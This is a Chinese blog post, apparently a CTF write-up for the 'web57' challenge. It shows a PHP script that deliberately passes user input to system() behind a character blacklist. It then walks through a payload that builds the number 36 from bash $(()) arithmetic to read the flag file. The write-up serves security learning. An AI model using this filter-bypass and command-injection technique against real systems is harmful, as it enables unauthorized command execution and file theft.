web57笔记(严格过滤-$和()来构造数字)

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-08 01:02:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

可以看的出来题⽬要求是让我们构造出c = 36,但是这⾥数字字⺟都过滤了,也只能⽤特殊符号来操作了 看了南神的博客,说可以⽤$和()来构造数字,来尝试⼀下

echo $(()) = 0

对其取反

echo $((~$(()))) = -1

取反加起来

echo $(($((~$(())))$((~$(()))))) = -2

对上⾯的取反

echo $((~$(($((~$(())))$((~$(()))))))) = 1

百度之后,发现$(())是⽤来作整数运算

如a=5 b=7 c=2 echo $((a+b*c)) = 19

$(())能进⾏的运算有

+ - * / 加、减、乘、除

% 余数运算

& | ^ ! AND、OR、XOR、NOT运算

好,如果要构造36,只需要构造出-37然后对其进⾏取反即可,中间就是套娃-1过程,最后再取反即可,⾮常好做

print("$((~$(("+"$((~$(())))"*37+"))))")

?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

 

posted @ 2025-03-15 15:39  justdoIT*  阅读(10)  评论(0)    收藏  举报